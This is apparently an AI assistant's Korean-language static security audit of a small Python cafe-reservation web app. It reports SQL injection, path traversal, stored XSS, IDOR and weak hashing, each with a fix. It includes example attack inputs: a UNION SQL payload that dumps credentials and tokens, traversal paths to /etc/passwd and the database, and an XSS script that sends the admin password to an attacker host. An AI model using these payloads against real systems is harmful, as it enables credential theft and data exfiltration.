정적 분석으로 충분히 확인되는 취약점들이라 서버 실행(PoC 구동)은 생략하고, 코드 근거를 짚어 보고서로 정리했습니다. 코드는 수정하지 않았습니다.
대상: app/ (server.py, views.py, db.py, config.py) · Python 표준 라이브러리 기반 http.server
점검일: 2026-10-18
요약: 심각(Critical) 3건, 높음(High) 2건, 중간(Medium) 4건, 낮음/참고 다수. 인증 없이 DB 전체를 읽을 수 있는 SQL 인젝션과, 서버 임의 파일을 내려받는 경로 탈출이 가장 위험합니다.
/search)위치: app/db.py:66-70, 진입점 app/server.py:45-47
f"SELECT id, guest_name, visit_time, people FROM reservations WHERE guest_name LIKE '%{name}%'"
사용자 입력 name을 f-string으로 직접 쿼리에 끼워 넣습니다. /search는 인증도 필요 없습니다.
/search?name=' UNION SELECT phone, pw_hash, token, 1 FROM guests --
→ 모든 손님의 전화번호·비밀번호 해시·세션 토큰이 응답 카드로 노출됩니다. 토큰이 유출되면 그 손님으로 바로 로그인한 셈이 됩니다.'; ... 형태로 데이터 조작·삭제도 가능합니다.조치 방향: 파라미터 바인딩 사용 — WHERE guest_name LIKE ? 에 ('%'+name+'%',) 전달. (대조적으로 list_today의 정렬 컬럼은 SORT_COLUMNS 화이트리스트로 안전하게 처리되어 있습니다 — 같은 방식을 검색에도 적용해야 합니다.)
/receipt)위치: app/server.py:49-57
path = os.path.join(config.RECEIPT_DIR, q.get("file", ""))
with open(path, "rb") as f: ...
file 값을 검증 없이 os.path.join에 넘깁니다. os.path.join은 절대경로나 ..을 막지 못합니다.
/receipt?file=../app/config.py → 소스 및 관리자 비밀번호 유출/receipt?file=../cafe.db → DB 파일 전체 유출/receipt?file=/etc/passwd 처럼 절대경로도 그대로 열립니다.로그인은 필요하지만, 아무 손님 계정(C-1으로 탈취한 토큰 포함)이면 됩니다.
조치 방향: 파일명만 허용(os.path.basename), 정규화 후 RECEIPT_DIR 하위인지 os.path.realpath로 재확인.
note)위치: app/views.py:17-25 (특히 22행), 입력 app/server.py:80
f"...<td>{int(r['people'])}</td><td>{r['note']}</td></tr>"
다른 필드는 모두 html.escape()로 처리했지만 note만 이스케이프가 빠져 있습니다. note는 손님이 예약 시 자유롭게 입력하는 값(/reserve의 note)입니다.
note에 <script>fetch('//attacker/x?pw='+...)</script> 를 넣고 예약
→ 사장님이 /admin 화면을 열 때 사장님 브라우저에서 스크립트 실행. 관리자 비밀번호가 URL로 전달되므로(아래 H-1) 탈취 위험이 큽니다.조치 방향: html.escape(r['note']).
위치: app/server.py:59-60, app/config.py:10
if q.get("pw") != config.ADMIN_PASSWORD: # /admin?pw=moonlight2026!
ADMIN_PASSWORD = "moonlight2026!"
!= 단순 비교라 타이밍 측면도 비상수시간입니다(부차적).조치 방향: 자격증명은 환경변수/시크릿으로, 전달은 POST 바디 또는 세션 기반으로. 비교는 hmac.compare_digest.
위치: app/server.py:37-43, app/db.py:61-63
r = db.get_reservation(int(q.get("id", "0"))) # 소유자 확인 없음
로그인만 되어 있으면 id를 1씩 증가시켜 다른 손님의 예약 전체(이름·방문시간·인원·요청사항)를 순회 열람할 수 있습니다. get_reservation이 요청자의 guest_id와 대조하지 않습니다.
조치 방향: WHERE id=? AND guest_id=? 로 소유자 검증.
위치: app/db.py:28-29
return hashlib.md5(pw.encode()).hexdigest()
MD5는 빠르고 충돌에 취약하며, 솔트가 없어 레인보우 테이블·대량 크래킹에 노출됩니다. C-1/C-2로 해시가 유출되면 대부분 즉시 복원됩니다.
조치 방향: bcrypt/scrypt/argon2 등 솔트 포함 느린 해시.
위치: app/db.py:39-44, app/server.py:72-74
로그인 시도 횟수 제한·지연·락아웃이 없고, 해시 비교(==)가 비상수시간입니다. MD5(M-1)와 결합되면 오프라인·온라인 공격이 모두 쉬워집니다.
조치 방향: 레이트리밋/락아웃, hmac.compare_digest.
위치: app/db.py:32-49
토큰이 발급 후 만료·폐기·재발급되지 않습니다. 한 번 유출되면(C-1, 로그 등) 영구 유효합니다. 로그아웃 기능도 없습니다.
조치 방향: 만료시간·서버측 폐기(로그아웃)·필요 시 회전.
위치: app/server.py:40,79(int(...)), app/server.py:69,71,73(self._form()의 f["phone"] 등), app/db.py:35
/reservation?id=abc, /reserve의 people=abc → int() ValueError 미처리 → 500과 스택트레이스(디버그 성격) 노출./register, /login에서 phone/pw 누락 시 KeyError → 500.register 시 sqlite3.IntegrityError 미처리 → 500.핸들러에 전역 예외 처리가 없어 가용성·정보노출 위험이 있습니다.
조치 방향: 입력 검증·try/except, 공통 에러 핸들러.
guest_name 임의 지정: /reserve에서 손님이 예약자 이름을 자유롭게 넣을 수 있어(app/server.py:80) 사칭·혼동 소지. 로그인 계정 정보와 분리됨./health의 subprocess: ["date", ...] 리스트 인자 + shell=False라 주입 불가합니다(안전). 다만 시각 확인에 외부 프로세스를 호출할 필요는 없어 datetime 사용을 권장.Content-Security-Policy, X-Content-Type-Options 등 없음(C-3 XSS 완화에 도움).X-Guest-Token 헤더로 처리해 CSRF 노출이 작고, 서버가 127.0.0.1에만 바인딩되며, page()/카드의 대부분 필드가 html.escape 처리되고, 정렬 컬럼이 화이트리스트로 방어되어 있습니다. 같은 수준의 방어를 검색/영수증/note에도 일관 적용하면 됩니다.필요하시면 각 항목의 수정 패치(диff)도 만들어 드리겠습니다 — 다만 "코드는 고치지 말라"는 지시에 따라 지금은 적용하지 않았습니다.